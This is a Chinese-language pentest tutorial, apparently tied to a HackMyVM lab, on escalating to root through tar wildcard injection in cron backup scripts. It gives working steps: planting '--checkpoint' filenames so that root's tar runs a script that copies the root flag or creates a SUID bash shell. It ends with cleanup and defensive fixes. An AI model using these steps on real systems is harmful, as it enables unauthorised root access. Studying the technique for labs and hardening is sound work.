跳到主要内容

tar wildcard 注入提权

tar wildcard 注入常见于高权限备份脚本:脚本进入某个可写目录后,使用裸 * 把当前目录内容交给 tar。如果攻击者能在该目录创建以 -- 开头的文件名,这些文件名可能被 tar 当作命令行参数解析,从而触发命令执行。

典型危险写法:

cd /var/www/html
tar -czf /root/backup.tar.gz *

这里的 * 先由 shell 展开,再交给 tar。如果当前目录存在名为 --checkpoint=1--checkpoint-action=exec=sh shell.sh 的文件,tar 收到的就不只是普通文件名,而是额外选项。


适用条件

条件判断方式
高权限任务会执行 tar查看 /etc/crontab/etc/cron.d/、systemd timer、备份脚本
tar 命令使用裸 *例如 tar -czf backup.tar.gz *
执行目录可写当前用户或可切换用户能在该目录创建文件
目标是 GNU tar需要支持 --checkpoint--checkpoint-action
命令没有终止选项解析未使用 tar ... -- *./* 这类安全写法

不满足这些条件时,不要硬套这个方法。比如脚本使用 tar -czf backup.tar.gz ./tar -czf backup.tar.gz -- *,或者通配符展开后带有路径前缀,通常就不会把文件名当作选项。


发现流程

拿到普通用户 shell 后,优先确认 sudo、cron 和备份脚本:

id
sudo -l
cat /etc/crontab
ls -la /etc/cron.d/

看到可疑脚本后,查看脚本内容:

cat /opt/backup.sh

重点看三件事:

  1. 谁执行脚本,例如 /etc/crontab 中是否写着 root /opt/backup.sh
  2. 脚本是否 cd 到一个可写目录。
  3. tar 是否对裸 * 做归档。

示例:

#!/bin/bash

BACKUP_DIR="/root"
TARGET="/var/www/html"

cd $TARGET
tar -czf $BACKUP_DIR/wordpress_backup.tar.gz *

这类脚本的关键风险是:/var/www/html 中的文件名由低权限用户控制,但 tar 由 root 执行。


利用原理

GNU tar 的 checkpoint 机制可以在归档处理到指定进度时执行动作:

--checkpoint=1
--checkpoint-action=exec=sh shell.sh

如果把这两个字符串伪装成文件名,并让易受影响的备份脚本执行:

tar -czf /root/backup.tar.gz *

shell 会把 * 展开为当前目录里的文件名,tar 会把以 --checkpoint 开头的文件名解析成自己的参数,最终以备份任务的权限执行 shell.sh

创建这类特殊文件名时,要给 touch--,否则 touch 自己会把它们当作选项:

touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"

方法 A:复制 root flag

靶场里最稳定的验证方式是让 root 复制 flag 到一个可读位置:

cd /var/www/html
printf "%s\n" \
"cp /root/root.txt /var/www/html/root.txt" \
"chmod 644 /var/www/html/root.txt" > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"

等待 cron 执行后读取结果:

ls -l /var/www/html/root.txt
cat /var/www/html/root.txt

这种方式不依赖交互 shell,也不受 nosuid 挂载影响,适合通关文章里复现。


方法 B:生成 SUID bash

如果想验证完整 root 命令执行,也可以生成 SUID bash 副本:

cd /var/www/html
printf "%s\n" \
"cp /bin/bash /var/www/html/rootbash" \
"chown root:root /var/www/html/rootbash" \
"chmod 4755 /var/www/html/rootbash" > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"

等待 cron 执行后:

/var/www/html/rootbash -p -c 'id; whoami'

如果看到 euid=0(root),说明 SUID 副本生效。

注意挂载选项。如果把 SUID 副本放在 /tmp,而 /tmp 带有 nosuid,即使权限位显示为 4755,执行时也不会获得 root euid。


常见失败原因

现象原因
touch: unrecognized option '--checkpoint=1'创建特殊文件名时没有使用 touch --
cron 执行后没有效果任务没有以 root 执行,或脚本没有进入可写目录
tar 不识别 checkpoint 参数目标不是 GNU tar,或版本不支持该参数
SUID 文件执行后不是 root文件所在挂载点带 nosuid
Text file busycron 正在覆盖 SUID bash,等待下一轮或改用复制 flag 方法
文件名没有被当作选项脚本使用了 -- *./*、绝对路径前缀或其他安全写法

清理

验证完成后删除注入文件和结果文件:

cd /var/www/html
rm -f -- shell.sh root.txt rootbash \
"--checkpoint=1" \
"--checkpoint-action=exec=sh shell.sh"

如果备份任务持续运行,清理后再等一轮 cron,确认没有重新生成利用结果。


防御建议

  1. 不要让高权限脚本在低权限用户可写目录中执行裸 *
  2. 使用 tar -czf backup.tar.gz -- * 终止选项解析。
  3. 更稳妥的写法是显式指定安全路径,例如 tar -czf backup.tar.gz -C /var/www/html .
  4. 备份目录与 Web 根目录分离,避免 Web 用户能写入备份输入目录。
  5. cron 脚本中固定 PATH,使用绝对命令路径,并审计所有可控文件名进入命令参数的位置。
  6. 对备份脚本做最小权限运行,能用专用备份用户就不要用 root。

来源案例

  • HackMyVM Artigmax 可切到 www-data,而 root cron 在 /var/www/html 中执行 tar -czf ... *,最终通过 checkpoint 参数注入读取 root flag。